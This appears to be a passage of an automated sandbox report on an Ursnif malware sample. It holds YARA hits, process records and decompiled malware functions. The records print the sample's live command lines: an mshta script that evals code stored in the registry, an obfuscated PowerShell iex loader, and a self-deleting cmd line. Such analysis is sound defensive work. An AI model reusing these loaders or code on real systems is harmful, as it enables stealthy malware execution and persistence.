                        • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.349012704.0000000005248000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000003.00000003.394820050.00000000051C9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.448354217.00000000060D8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000003.00000002.501779377.0000000004ECF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.348921870.0000000005248000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.348876810.0000000005248000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.349079600.0000000005248000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.393934520.0000000005248000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.395608793.000000000504C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.349095553.0000000005248000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.348687637.0000000005248000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.348979060.0000000005248000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000003.00000003.500530669.0000000004B99000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.394913603.0000000005248000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.348760397.0000000005248000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                        Reputation:high

                        General

                        Target ID:13
                        Start time:12:42:57
                        Start date:04/05/2022
                        Path:C:\Windows\System32\mshta.exe
                        Wow64 process (32bit):false
                        Commandline:C:\Windows\System32\mshta.exe" "about:<hta:application><script>Exhe='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Exhe).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>
                        Imagebase:0x7ff63f290000
                        File size:14848 bytes
                        MD5 hash:197FC97C6A843BEBB445C1D9C58DCBDB
                        Has elevated privileges:false
                        Has administrator privileges:false
                        Programmed in:C, C++ or other language
                        Reputation:high

                        General

                        Target ID:14
                        Start time:12:42:59
                        Start date:04/05/2022
                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        Wow64 process (32bit):false
                        Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name iwcfhbmkpt -value gp; new-alias -name yuxesb -value iex; yuxesb ([System.Text.Encoding]::ASCII.GetString((iwcfhbmkpt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))
                        Imagebase:0x7ff746f80000
                        File size:447488 bytes
                        MD5 hash:95000560239032BC68B4C2FDFCDEF913
                        Has elevated privileges:false
                        Has administrator privileges:false
                        Programmed in:.Net C# or VB.NET
                        Yara matches:
                        • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 0000000E.00000003.453774507.0000027B6DC1C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                        Reputation:high

                        General

                        Target ID:15
                        Start time:12:43:00
                        Start date:04/05/2022
                        Path:C:\Windows\System32\conhost.exe
                        Wow64 process (32bit):false
                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Imagebase:0x7ff7c9170000
                        File size:625664 bytes
                        MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                        Has elevated privileges:false
                        Has administrator privileges:false
                        Programmed in:C, C++ or other language
                        Reputation:high

                        General

                        Target ID:19
                        Start time:12:43:06
                        Start date:04/05/2022
                        Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                        Wow64 process (32bit):false
                        Commandline:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nthaltvx.cmdline
                        Imagebase:0x7ff61fe60000
                        File size:2739304 bytes
                        MD5 hash:B46100977911A0C9FB1C3E5F16A5017D
                        Has elevated privileges:false
                        Has administrator privileges:false
                        Programmed in:.Net C# or VB.NET
                        Reputation:moderate

                        General

                        Target ID:20
                        Start time:12:43:08
                        Start date:04/05/2022
                        Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                        Wow64 process (32bit):false
                        Commandline:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3047.tmp" "c:\Users\user\AppData\Local\Temp\CSCFB39A903173B4FAEAF71F3E48EC5D0FF.TMP"
                        Imagebase:0x7ff71aa90000
                        File size:47280 bytes
                        MD5 hash:33BB8BE0B4F547324D93D5D2725CAC3D
                        Has elevated privileges:false
                        Has administrator privileges:false
                        Programmed in:C, C++ or other language
                        Reputation:moderate

                        General

                        Target ID:21
                        Start time:12:43:12
                        Start date:04/05/2022
                        Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                        Wow64 process (32bit):false
                        Commandline:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zn133k50.cmdline
                        Imagebase:0x7ff61fe60000
                        File size:2739304 bytes
                        MD5 hash:B46100977911A0C9FB1C3E5F16A5017D
                        Has elevated privileges:false
                        Has administrator privileges:false
                        Programmed in:.Net C# or VB.NET
                        Reputation:moderate

                        General

                        Target ID:22
                        Start time:12:43:13
                        Start date:04/05/2022
                        Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                        Wow64 process (32bit):false
                        Commandline:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4508.tmp" "c:\Users\user\AppData\Local\Temp\CSC41D8DEC26D8340F3B72514D252AF5890.TMP"
                        Imagebase:0x7ff71aa90000
                        File size:47280 bytes
                        MD5 hash:33BB8BE0B4F547324D93D5D2725CAC3D
                        Has elevated privileges:false
                        Has administrator privileges:false
                        Programmed in:C, C++ or other language

                        General

                        Target ID:23
                        Start time:12:43:18
                        Start date:04/05/2022
                        Path:C:\Windows\System32\control.exe
                        Wow64 process (32bit):false
                        Commandline:C:\Windows\system32\control.exe -h
                        Imagebase:0x7ff7bf350000
                        File size:117760 bytes
                        MD5 hash:625DAC87CB5D7D44C5CA1DA57898065F
                        Has elevated privileges:true
                        Has administrator privileges:true
                        Programmed in:C, C++ or other language

                        General

                        Target ID:24
                        Start time:12:43:22
                        Start date:04/05/2022
                        Path:C:\Windows\System32\rundll32.exe
                        Wow64 process (32bit):false
                        Commandline:"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h
                        Imagebase:0x7ff6ed3d0000
                        File size:69632 bytes
                        MD5 hash:73C519F050C20580F8A62C849D49215A
                        Has elevated privileges:true
                        Has administrator privileges:true
                        Programmed in:C, C++ or other language

                        General

                        Target ID:25
                        Start time:12:43:24
                        Start date:04/05/2022
                        Path:C:\Windows\explorer.exe
                        Wow64 process (32bit):false
                        Commandline:C:\Windows\Explorer.EXE
                        Imagebase:0x7ff6b8cf0000
                        File size:3933184 bytes
                        MD5 hash:AD5296B280E8F522A8A897C96BAB0E1D
                        Has elevated privileges:false
                        Has administrator privileges:false
                        Programmed in:C, C++ or other language

                        General

                        Target ID:26
                        Start time:12:43:41
                        Start date:04/05/2022
                        Path:C:\Windows\System32\cmd.exe
                        Wow64 process (32bit):false
                        Commandline:C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\rXN8OIpbzz.dll
                        Imagebase:0x7ff66fc20000
                        File size:273920 bytes
                        MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                        Has elevated privileges:false
                        Has administrator privileges:false
                        Programmed in:C, C++ or other language

                        General

                        Target ID:28
                        Start time:12:43:42
                        Start date:04/05/2022
                        Path:C:\Windows\System32\conhost.exe
                        Wow64 process (32bit):false
                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Imagebase:0x7ff7c9170000
                        File size:625664 bytes
                        MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                        Has elevated privileges:false
                        Has administrator privileges:false
                        Programmed in:C, C++ or other language

                        General

                        Target ID:29
                        Start time:12:43:42
                        Start date:04/05/2022
                        Path:C:\Windows\System32\PING.EXE
                        Wow64 process (32bit):false
                        Commandline:ping localhost -n 5
                        Imagebase:0x7ff67e070000
                        File size:21504 bytes
                        MD5 hash:6A7389ECE70FB97BFE9A570DB4ACCC3B
                        Has elevated privileges:false
                        Has administrator privileges:false
                        Programmed in:C, C++ or other language

                        Disassembly

                        Reset < >

                          Executed Functions

                          Function 04CC00DC Relevance: 37.8, APIs: 25, Instructions: 331memorylibrarynativeCOMMON
                          Download Yara Rule

                          Control-flow Graph

                          • Executed
                          • Not Executed
                          control_flow_graph 43 4cc00dc-4cc0125 RtlInitializeCriticalSection call 4cb9394 46 4cc014d-4cc014f 43->46 47 4cc0127-4cc014b memset RtlInitializeCriticalSection 43->47 48 4cc0150-4cc0156 46->48 47->48 49 4cc015c-4cc0180 CreateMutexA GetLastError 48->49 50 4cc0558-4cc0562 48->50 51 4cc019d-4cc019f 49->51 52 4cc0182-4cc0187 49->52 53 4cc01a5-4cc01b0 call 4cc5261 51->53 54 4cc0553 51->54 55 4cc0189-4cc0196 CloseHandle 52->55 56 4cc019b 52->56 58 4cc0557 53->58 60 4cc01b6-4cc01c1 call 4cc8452 53->60 54->58 55->54 56->51 58->50 60->58 63 4cc01c7-4cc01d9 GetUserNameA 60->63 64 4cc01fd-4cc020d 63->64 65 4cc01db-4cc01f3 RtlAllocateHeap 63->65 67 4cc020f-4cc0214 64->67 68 4cc0216-4cc0233 NtQueryInformationProcess 64->68 65->64 66 4cc01f5-4cc01fb GetUserNameA 65->66 66->64 67->68 69 4cc025d-4cc0267 67->69 70 4cc0239-4cc0248 OpenProcess 68->70 71 4cc0235 68->71 72 4cc0269-4cc0285 GetShellWindow GetWindowThreadProcessId 69->72 73 4cc02a4-4cc02a8 69->73 74 4cc024a-4cc024f GetLastError 70->74 75 4cc0256-4cc0257 CloseHandle 70->75 71->70 76 4cc0297-4cc029e 72->76 77 4cc0287-4cc028d 72->77 78 4cc02bd-4cc02d4 call 4cbf01f 73->78 79 4cc02aa-4cc02ba memcpy 73->79 74->69 80 4cc0251 74->80 75->69 76->73 83 4cc02a0 76->83 77->76 82 4cc028f-4cc0295 77->82 88 4cc02d6-4cc02da 78->88 89 4cc02e1-4cc02e7 78->89 79->78 81 4cc02ed-4cc0329 call 4cc9370 call 4cc6c1e call 4cd087a 80->81 96 4cc033f-4cc034e call 4cbe1b1 81->96 97 4cc032b-4cc033a CreateEventA call 4cce803 81->97 82->73 83->73 88->89 91 4cc02dc call 4cd18c0 88->91 89->58 89->81 91->89 96->58 101 4cc0354-4cc0367 RtlAllocateHeap 96->101 97->96 101->58 102 4cc036d-4cc038d OpenEventA 101->102 103 4cc03af-4cc03b1 102->103 104 4cc038f-4cc039e CreateEventA 102->104 105 4cc03b2-4cc03d9 call 4cc73aa 103->105 104->105 106 4cc03a0-4cc03aa GetLastError 104->106 109 4cc03df-4cc03ed 105->109 110 4cc0546-4cc054d 105->110 106->58 111 4cc049f-4cc04a5 109->111 112 4cc03f3-4cc040b call 4ccb6d6 109->112 110->58 113 4cc04a7-4cc04ac call 4cd157a call 4cb708f 111->113 114 4cc04b1-4cc04b8 111->114 112->58 130 4cc0411-4cc0418 112->130 113->114 114->54 117 4cc04be-4cc04c3 114->117 120 4cc051f-4cc0544 call 4cc73aa 117->120 121 4cc04c5-4cc04cb 117->121 120->110 131 4cc054f-4cc0550 120->131 125 4cc04cd-4cc04d4 SetEvent 121->125 126 4cc04da-4cc04f0 RtlAllocateHeap 121->126 125->126 127 4cc051c-4cc051e 126->127 128 4cc04f2-4cc0519 wsprintfA 126->128 127->120 128->127 132 4cc042c-4cc0440 LoadLibraryA 130->132 133 4cc041a-4cc0426 130->133 131->54 134 4cc046f-4cc0482 call 4cc81f1 132->134 135 4cc0442-4cc046a call 4cce778 132->135 133->132 134->58 139 4cc0488-4cc0491 134->139 135->134 139->114 140 4cc0493-4cc049d call 4cb88fa 139->140 140->114
                          APIs
                          • RtlInitializeCriticalSection.NTDLL(04CDA428), ref: 04CC00FA
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • memset.NTDLL ref: 04CC012B
                          • RtlInitializeCriticalSection.NTDLL(060DC2D0), ref: 04CC013C
                            • Part of subcall function 04CC5261: RtlInitializeCriticalSection.NTDLL(04CDA400), ref: 04CC5285
                            • Part of subcall function 04CC5261: RtlInitializeCriticalSection.NTDLL(04CDA3E0), ref: 04CC529B
                            • Part of subcall function 04CC5261: GetVersion.KERNEL32(?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CC52AC
                            • Part of subcall function 04CC5261: GetModuleHandleA.KERNEL32(00001683,?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CC52E0
                            • Part of subcall function 04CC8452: RtlAllocateHeap.NTDLL(00000000,-00000003,774B9EB0), ref: 04CC846C
                          • CreateMutexA.KERNEL32(00000000,00000001,00000000,00000060,?,?,?,?,?,?,?,04CB9100,?), ref: 04CC0165
                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CC0176
                          • CloseHandle.KERNEL32(000005BC,?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CC018A
                          • GetUserNameA.ADVAPI32(00000000,?), ref: 04CC01D3
                          • RtlAllocateHeap.NTDLL(00000000,?), ref: 04CC01E6
                          • GetUserNameA.ADVAPI32(00000000,?), ref: 04CC01FB
                          • NtQueryInformationProcess.NTDLL(00000000,?,00000018,?), ref: 04CC022B
                          • OpenProcess.KERNEL32(00000400,00000000,00000000,?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CC0240
                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CC024A
                          • CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CC0257
                          • GetShellWindow.USER32 ref: 04CC0272
                          • GetWindowThreadProcessId.USER32(00000000), ref: 04CC0279
                          • memcpy.NTDLL(04CDA2F4,?,00000018,?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CC02B5
                          • CreateEventA.KERNEL32(04CDA1E8,00000001,00000000,00000000,?,00000001,?,?,?,?,?,?,?,04CB9100,?), ref: 04CC0333
                          • RtlAllocateHeap.NTDLL(00000000,00000018,?), ref: 04CC035D
                          • OpenEventA.KERNEL32(00100000,00000000,060DB9C8,?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CC0385
                          • CreateEventA.KERNEL32(04CDA1E8,00000001,00000000,060DB9C8,?,?,?,?,?,?,?,04CB9100,?), ref: 04CC039A
                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CC03A0
                          • LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CC0438
                          • SetEvent.KERNEL32(?,04CCC384,00000000,00000000,?,?,?,?,?,?,?,04CB9100,?), ref: 04CC04CE
                          • RtlAllocateHeap.NTDLL(00000000,00000043,04CCC384), ref: 04CC04E3
                          • wsprintfA.USER32 ref: 04CC0513
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: AllocateHeap$CriticalEventInitializeSection$CreateErrorHandleLastProcess$CloseNameOpenUserWindow$InformationLibraryLoadModuleMutexQueryShellThreadVersionmemcpymemsetwsprintf
                          • String ID:
                          • API String ID: 3929413950-0
                          • Opcode ID: 6fbf1c9c7877bd35f0462b3ac8b8a55a170538082cf3f9aa365ff3b0e37e8c5c
                          • Instruction ID: c7375be120fb6a9132f839ccc82e8113123ea560e8bac995a64a67c32f86e2c7
                          • Opcode Fuzzy Hash: 6fbf1c9c7877bd35f0462b3ac8b8a55a170538082cf3f9aa365ff3b0e37e8c5c
                          • Instruction Fuzzy Hash: 97C181B9501358EFD720EFA6E848A2B7BEAEB89704B15482DE546C7200D73AF944CF51
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C75FBB Relevance: 19.7, APIs: 13, Instructions: 163encryptionCOMMON
                          Download Yara Rule

                          Control-flow Graph

                          • Executed
                          • Not Executed
                          control_flow_graph 189 4c75fbb-4c75ffb CryptAcquireContextW 190 4c76152-4c76158 GetLastError 189->190 191 4c76001-4c7603d memcpy CryptImportKey 189->191 192 4c7615b-4c76162 190->192 193 4c76043-4c76055 CryptSetKeyParam 191->193 194 4c7613d-4c76143 GetLastError 191->194 196 4c7605b-4c76064 193->196 197 4c76129-4c7612f GetLastError 193->197 195 4c76146-4c76150 CryptReleaseContext 194->195 195->192 199 4c76066-4c76068 196->199 200 4c7606c-4c76079 call 4c76d63 196->200 198 4c76132-4c7613b CryptDestroyKey 197->198 198->195 199->200 201 4c7606a 199->201 204 4c76120-4c76127 200->204 205 4c7607f-4c76088 200->205 201->200 204->198 206 4c7608b-4c76093 205->206 207 4c76095 206->207 208 4c76098-4c760b5 memcpy 206->208 207->208 209 4c760b7-4c760ce CryptEncrypt 208->209 210 4c760d0-4c760df CryptDecrypt 208->210 211 4c760e5-4c760e7 209->211 210->211 212 4c760f7-4c76102 GetLastError 211->212 213 4c760e9-4c760f3 211->213 215 4c76116-4c7611e call 4c76c2c 212->215 216 4c76104-4c76114 212->216 213->206 214 4c760f5 213->214 214->216 215->198 216->198
                          C-Code - Quality: 58%
                          			E04C75FBB(int __eax, intOrPtr _a4, int _a8, void* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				int _v8;
				long* _v12;
				int _v16;
				BYTE* _v20;
				long* _v24;
				void* _v39;
				char _v40;
				void _v56;
				int _v60;
				intOrPtr _v64;
				void _v67;
				char _v68;
				void* _t61;
				int _t68;
				signed int _t76;
				int _t79;
				int _t81;
				int _t85;
				long _t86;
				int _t90;
				signed int _t94;
				int _t101;
				BYTE* _t102;
				int _t103;
				void* _t104;
				void* _t105;
				void* _t106;

				_t103 = __eax;
				_t94 = 6;
				_v68 = 0;
				memset( &_v67, 0, _t94 << 2);
				_t105 = _t104 + 0xc;
				asm("stosw");
				asm("stosb");
				_v40 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				asm("stosb");
				_t61 =  *0x4c7a0e8( &_v24, 0, 0, 0x18, 0xf0000000); // executed
				if(_t61 == 0) {
					_a8 = GetLastError();
				} else {
					_t101 = 0x10;
					memcpy( &_v56, _a8, _t101);
					_t106 = _t105 + 0xc;
					_v60 = _t101;
					_v67 = 2;
					_v64 = 0x660e;
					_v68 = 8;
					_t68 = CryptImportKey(_v24,  &_v68, 0x1c, 0, 0,  &_v12); // executed
					if(_t68 == 0) {
						_a8 = GetLastError();
					} else {
						_push(0);
						_push( &_v40);
						_push(1);
						_push(_v12);
						if( *0x4c7a0e4() == 0) {
							_a8 = GetLastError();
						} else {
							_t18 = _t103 + 0xf; // 0x10
							_t76 = _t18 & 0xfffffff0;
							if(_a4 != 0 && _t76 == _t103) {
								_t76 = _t76 + _t101;
							}
							_t102 = E04C76D63(_t76);
							_v20 = _t102;
							if(_t102 == 0) {
								_a8 = 8;
							} else {
								_v16 = 0;
								_a8 = 0;
								while(1) {
									_t79 = 0x10;
									_v8 = _t79;
									if(_t103 <= _t79) {
										_v8 = _t103;
									}
									memcpy(_t102, _a12, _v8);
									_t81 = _v8;
									_a12 = _a12 + _t81;
									_t103 = _t103 - _t81;
									_t106 = _t106 + 0xc;
									if(_a4 == 0) {
										_t85 = CryptDecrypt(_v12, 0, 0 | _t103 == 0x00000000, 0, _t102,  &_v8);
									} else {
										_t85 =  *0x4c7a0c0(_v12, 0, 0 | _t103 == 0x00000000, 0, _t102,  &_v8, 0x20);
									}
									if(_t85 == 0) {
										break;
									}
									_t90 = _v8;
									_v16 = _v16 + _t90;
									_t102 =  &(_t102[_t90]);
									if(_t103 != 0) {
										continue;
									} else {
										L17:
										 *_a16 = _v20;
										 *_a20 = _v16;
									}
									goto L21;
								}
								_t86 = GetLastError();
								_a8 = _t86;
								if(_t86 != 0) {
									E04C76C2C(_v20);
								} else {
									goto L17;
								}
							}
						}
						L21:
						CryptDestroyKey(_v12);
					}
					CryptReleaseContext(_v24, 0);
				}
				return _a8;
			}






























                          0x04c75fc4
                          0x04c75fca
                          0x04c75fcd
                          0x04c75fd3
                          0x04c75fd3
                          0x04c75fd5
                          0x04c75fd7
                          0x04c75fda
                          0x04c75fe0
                          0x04c75fe1
                          0x04c75fe2
                          0x04c75fe8
                          0x04c75fed
                          0x04c75ff3
                          0x04c75ffb
                          0x04c76158
                          0x04c76001
                          0x04c76003
                          0x04c7600c
                          0x04c76011
                          0x04c76023
                          0x04c76026
                          0x04c7602a
                          0x04c76031
                          0x04c76035
                          0x04c7603d
                          0x04c76143
                          0x04c76043
                          0x04c76043
                          0x04c76047
                          0x04c76048
                          0x04c7604a
                          0x04c76055
                          0x04c7612f
                          0x04c7605b
                          0x04c7605b
                          0x04c7605e
                          0x04c76064
                          0x04c7606a
                          0x04c7606a
                          0x04c76072
                          0x04c76074
                          0x04c76079
                          0x04c76120
                          0x04c7607f
                          0x04c76085
                          0x04c76088
                          0x04c7608b
                          0x04c7608d
                          0x04c7608e
                          0x04c76093
                          0x04c76095
                          0x04c76095
                          0x04c7609f
                          0x04c760a4
                          0x04c760a7
                          0x04c760aa
                          0x04c760ac
                          0x04c760b5
                          0x04c760df
                          0x04c760b7
                          0x04c760c8
                          0x04c760c8
                          0x04c760e7
                          0x00000000
                          0x00000000
                          0x04c760e9
                          0x04c760ec
                          0x04c760ef
                          0x04c760f3
                          0x00000000
                          0x04c760f5
                          0x04c76104
                          0x04c7610a
                          0x04c76112
                          0x04c76112
                          0x00000000
                          0x04c760f3
                          0x04c760f7
                          0x04c760fd
                          0x04c76102
                          0x04c76119
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c76102
                          0x04c76079
                          0x04c76132
                          0x04c76135
                          0x04c76135
                          0x04c7614a
                          0x04c7614a
                          0x04c76162

                          APIs
                          • CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000018,F0000000,00000000,00000000,00000000,?,?,?,04C724D8,00000001,04C758D7,00000000), ref: 04C75FF3
                          • memcpy.NTDLL(04C724D8,04C758D7,00000010,?,?,?,04C724D8,00000001,04C758D7,00000000,?,04C71D97,00000000,04C758D7,?,746BC740), ref: 04C7600C
                          • CryptImportKey.ADVAPI32(?,?,0000001C,00000000,00000000,00000000), ref: 04C76035
                          • CryptSetKeyParam.ADVAPI32(00000000,00000001,?,00000000), ref: 04C7604D
                          • memcpy.NTDLL(00000000,746BC740,052495B0,00000010), ref: 04C7609F
                          • CryptEncrypt.ADVAPI32(00000000,00000000,00000000,00000000,00000000,052495B0,00000020,?,?,00000010), ref: 04C760C8
                          • CryptDecrypt.ADVAPI32(00000000,00000000,00000000,00000000,00000000,052495B0,?,?,00000010), ref: 04C760DF
                          • GetLastError.KERNEL32(?,?,00000010), ref: 04C760F7
                          • GetLastError.KERNEL32 ref: 04C76129
                          • CryptDestroyKey.ADVAPI32(00000000), ref: 04C76135
                          • GetLastError.KERNEL32 ref: 04C7613D
                          • CryptReleaseContext.ADVAPI32(?,00000000), ref: 04C7614A
                          • GetLastError.KERNEL32(?,?,?,04C724D8,00000001,04C758D7,00000000,?,04C71D97,00000000,04C758D7,?,746BC740,04C758D7,00000000,052495B0), ref: 04C76152
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: Crypt$ErrorLast$Contextmemcpy$AcquireDecryptDestroyEncryptImportParamRelease
                          • String ID:
                          • API String ID: 1967744295-0
                          • Opcode ID: cba2d6438ad4256e8bbc058e9c09ca034b6cd9475b073bf6a6487e4a425dc17e
                          • Instruction ID: ec2d96953b6e81ae4836bf94eaf0d63fc0daec1a047702b361d477505abcc63e
                          • Opcode Fuzzy Hash: cba2d6438ad4256e8bbc058e9c09ca034b6cd9475b073bf6a6487e4a425dc17e
                          • Instruction Fuzzy Hash: 35513EB5A00609FFDB10DFA5DC88AAEBBBAFB04350F048429F905E6240E7759E14DB61
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C776BB Relevance: 13.6, APIs: 9, Instructions: 72filetimeCOMMON
                          Download Yara Rule

                          Control-flow Graph

                          C-Code - Quality: 74%
                          			E04C776BB(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L04C78244();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0x4c7a348; // 0x5cd5a8
				_t5 = _t13 + 0x4c7b87a; // 0x5248e22
				_t6 = _t13 + 0x4c7b594; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L04C77EAA();
				_t17 = CreateFileMappingW(0xffffffff, 0x4c7a34c, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}













                          0x04c776bb
                          0x04c776c3
                          0x04c776c7
                          0x04c776cd
                          0x04c776d2
                          0x04c776d7
                          0x04c776da
                          0x04c776dd
                          0x04c776e2
                          0x04c776e3
                          0x04c776e6
                          0x04c776eb
                          0x04c776f2
                          0x04c776fc
                          0x04c776fe
                          0x04c776ff
                          0x04c77702
                          0x04c7771e
                          0x04c77724
                          0x04c77728
                          0x04c77776
                          0x04c7772a
                          0x04c77737
                          0x04c77747
                          0x04c7774f
                          0x04c77761
                          0x04c77765
                          0x00000000
                          0x00000000
                          0x04c77751
                          0x04c77754
                          0x04c77759
                          0x04c7775b
                          0x04c7775b
                          0x04c77739
                          0x04c7773b
                          0x04c77767
                          0x04c77768
                          0x04c77768
                          0x04c77737
                          0x04c7777d

                          APIs
                          • GetSystemTimeAsFileTime.KERNEL32(?,?,00000000,?,?,?,?,?,?,04C73DBA,?,?,4D283A53,?,?), ref: 04C776C7
                          • _aulldiv.NTDLL(?,?,54D38000,00000192), ref: 04C776DD
                          • _snwprintf.NTDLL ref: 04C77702
                          • CreateFileMappingW.KERNELBASE(000000FF,04C7A34C,00000004,00000000,00001000,?,?,?,?,?,00000000), ref: 04C7771E
                          • GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,04C73DBA,?,?,4D283A53,?), ref: 04C77730
